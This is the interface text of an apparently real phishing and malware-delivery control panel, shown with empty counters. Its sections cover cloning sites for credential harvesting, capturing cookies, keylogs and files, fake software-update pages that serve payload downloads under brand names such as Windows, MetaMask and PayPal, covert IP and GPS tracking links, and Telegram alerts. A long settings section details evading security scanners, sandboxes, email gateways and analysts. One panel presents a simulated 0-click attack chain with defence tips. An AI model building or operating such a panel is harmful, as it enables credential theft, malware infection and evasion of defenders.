> COMMAND_CENTER

LINK_ESTABLISHED
ACTIVE_TARGETS 0
DATA_HARVESTED 0
MEM_USAGE 0%
RUNTIME 0d 0h

// RECENT_TARGETS

NO_ACTIVE_TARGETS

// SYS_STATUS

⚡ READY
0% RAM
-- GB total · 0 MB used
🛡️
SHIELD —
🐳
DOCKER —
⚙️
CPU --
📡
PROTECT 0

> GLOBAL_TARGETS

Live geographic footprint · infiltration feed · conversion metrics

// WORLDWIDE_ACTIVITY

Orbital scan
LIVE
0 INFECTED
0 ONLINE
0 REGIONS
0 24H

// RECENT_INFILTRATIONS

Latest vectors
0
Scanning for targets…

// TOP_COUNTRIES

By volume
Analyzing geographic data…

// INFECTION_METRICS

Funnel performance
0 PAGE_VIEWS
0 CLICKS
0 DOWNLOADS
0% SUCCESS_RATE

> PLATFORM_CONTROL

SCANNING...

// DOCKER_STATUS

DOCKER_ENGINE SCANNING...
STARKILLER_IMAGE SCANNING...
STARKILLER_SERVER SCANNING...

// DEPLOY_PHISHING_FRAMEWORK

Enter the URL to clone for credential harvesting

// ACTIVE_CONTAINERS 0

CONTAINER_ID NAME STATUS CREATED ACTIONS
NO_ACTIVE_CONTAINERS

> ACTIVE_TARGETS

SESSION_ID LOCATION DEVICE IP_ADDRESS ACTIVITY ACTIONS
NO_ACTIVE_TARGETS

> HARVESTED_DATA

SESSION_ID TIMESTAMP COOKIES KEYLOGS CREDENTIALS FILES ACTIONS
NO_DATA_HARVESTED

> AGENT_FILTER

Substring match (case-insensitive). Prefix with regex: for RegExp (max 300 chars). Whitelist ON = only matching browsers reach protected APIs.

// UA_SIMULATOR

LIVE_RULES
Run test to see ALLOW / BLOCK and reason.

// FILTER_OPTIONS

DISABLE_BUILTIN_SIGNATURES

When ON, only your blacklist + optional whitelist apply (no built-in scanner/bot list).

// QUICK_PRESETS → BLACKLIST

Adds common patterns (duplicates skipped).

// IMPORT_EXPORT

// BLACKLISTED_AGENTS

0
  • NO_BLACKLISTED_AGENTS

// WHITELISTED_AGENTS

0
ENABLE_WHITELIST_MODE

If enabled with at least one pattern, only matching User-Agents pass (after whitelist check, built-in + custom blacklist still apply unless builtin disabled).

  • NO_WHITELISTED_AGENTS

> EMAIL_SENDER

READY

> FAKE_UPDATE_PAGES

// GENERATE_PHISHING_LINK

29 TEMPLATES
1
SELECT_TEMPLATE Click any template to select

Loading templates...

2
CONFIGURE_PAYLOAD Set payload URL and campaign options
Direct download URL for your payload file (.exe, .apk, .dmg)
Redirect victim to this URL after download starts
Custom identifier for tracking this campaign
Empty = http://localhost:10004 (dedicated Fake Update port). Do not use the phishing port (:10002).
3
GENERATE_LINK Create your phishing URL

// CAMPAIGN_TRACKING

0 CAMPAIGNS
CAMPAIGN_ID TEMPLATE PAGE_VIEWS CLICKS DOWNLOADS LAST_ACTIVITY ACTIONS
NO_CAMPAIGNS_YET

// AVAILABLE_TEMPLATES

29 TEMPLATES
10 Desktop
4 Gaming
5 Crypto
5 Social
2 Security
3 Mobile
🖥️ Desktop & Software
Windows 11 Chrome Firefox Edge macOS Zoom Telegram
🎮 Gaming & Apps
Steam Discord Spotify Netflix
💰 Crypto & Finance
Coinbase MetaMask Binance PayPal Amazon
📱 Social Media
Facebook Instagram X/Twitter TikTok WhatsApp

> FIND_ME

// GENERATE_TRACKING_LINK

Generate a tracking link via Cloudflare tunnel (automatic). When someone opens it, their IP location + GPS (if allowed) are captured and shown on a satellite map.

TUNNEL: checking...

// TRACKING_LINKS

0
LABEL HITS CREATED ACTIONS
NO_LINKS_YET

> 0 _EXPLOIT

Simulated attack vectors. No real payloads are sent — UI visualization only.

⚠️
SIMULATION MODE — No real exploit or payload. Educational attack-chain visualization for awareness and red-team training.

// TARGET

// ATTACK_VECTOR

// ATTACK_CHAIN

IDLE
01
RECONFingerprint target device, OS version, app versions. Identify vulnerable parser.
WAITING
02
CRAFT_PAYLOADGenerate malformed media / message that triggers vulnerability in parser code.
WAITING
03
DELIVERSend crafted data via selected vector. No user interaction required for 0-click.
WAITING
04
AUTO_PROCESSTarget device receives and auto-processes data (preview, index, notification render).
WAITING
05
TRIGGERMemory corruption / type confusion fires. Attacker payload executes in process context.
WAITING
06
ESCALATESandbox escape → kernel exploit → persistent implant installed silently.
WAITING
07
EXFILTRATEHarvest contacts, messages, photos, location, microphone, camera — stream to C2.
WAITING

// KNOWLEDGE_BASE

0-click: Attack requiring zero victim interaction. The device/app auto-processes attacker data (message preview, image decode, notification render) and a bug in that code leads to code execution.

Real-world examples: NSO Pegasus (iMessage), BLASTPASS (iOS), Predator (Android), FORCEDENTRY (ImageIO). Prices: $1M–$20M on exploit markets.

Defense: Keep OS + apps updated, enable Lockdown Mode (iOS), disable link previews, use hardware security keys, assume compromise if you're a high-value target.

> REMOTE

// QR

// Phone screen

📱

Generate QR, scan on phone (Chrome Android), then Share screen.

> SYS_CONFIG

// SHIELD & DDOS

—

Login, static assets and public endpoints are never blocked. Below applies to protected routes (authenticated API / panel internals).

DOCKER / PLATFORM

When starting the phishing stack, pass free RAM into the container (resource pressure). Independent from HTTP panel filters.

PANEL_HTTP_LAYERS (toggle per layer)

Limit concurrent connections per IP on protected routes.

Per-IP rate window (ready when limits are tightened in code).

Same rules as AGENT_FILTER (blacklist / whitelist / built-in).

Block probes for .env, wp-admin, swagger, etc.; may temp-block IP.

ANTI-PHISHING_DETECTION (phishing link shields — port 10002)

These protect your phishing link from scanners, anti-phishing bots, sandboxes. Applied in nginx + Go server + admin panel.

Block 80+ known security scanners, anti-phishing services (PhishTank, SafeBrowsing, URLScan, VirusTotal, Netcraft…), email security gateways (Proofpoint, Barracuda, Mimecast…), social link previews (Facebook, WhatsApp, Telegram, Discord…).

Block requests whose Referer comes from analysis sandboxes (VirusTotal, URLScan.io, Any.Run, Hybrid Analysis, Joe Sandbox…).

Block requests with no User-Agent header (real browsers always send one).

Block short non-browser UAs and prefetch/preview requests from email clients and link scanners.

ADVANCED_SHIELDS (deep inspection)

Block requests with Purpose: prefetch, suspicious Sec-Fetch combos, or missing Accept-Language from browser-like UAs.

Only allow visitors from specific countries. Most scanners are from US/IE/DE/NL. Enter 2-letter codes below.

Block IPs from datacenters (AWS, Azure, GCP, DigitalOcean…), VPNs (NordVPN, Mullvad…), and Tor exit nodes. Analysts almost always use these.

Limit unique IPs per phishing link. After N different visitors, the link dies (404). Prevents re-scanning by VirusTotal etc.

Serve an intermediate page that requires JavaScript execution. Bots (curl, wget, scanners) fail automatically; real browsers pass in <1s.

SESSION

// TARGET_CONFIG

If you open the panel on localhost, the phone cannot reach it — set your PC LAN IP + port (e.g. http://192.168.0.10:10000), save, then generate QR.

// 📱 TELEGRAM_ALERTS

Step 1: Open Telegram, search for @BotFather, send /newbot

Step 2: Follow instructions, get the Bot Token (looks like 123456:ABC-DEF...)

Step 3: Open your new bot in Telegram, press START

Step 4: To get your Chat ID, search for @userinfobot, send /start — it replies with your ID

Step 5: Paste both below and click SAVE

When enabled, you receive alerts for new sessions, credentials captured, etc.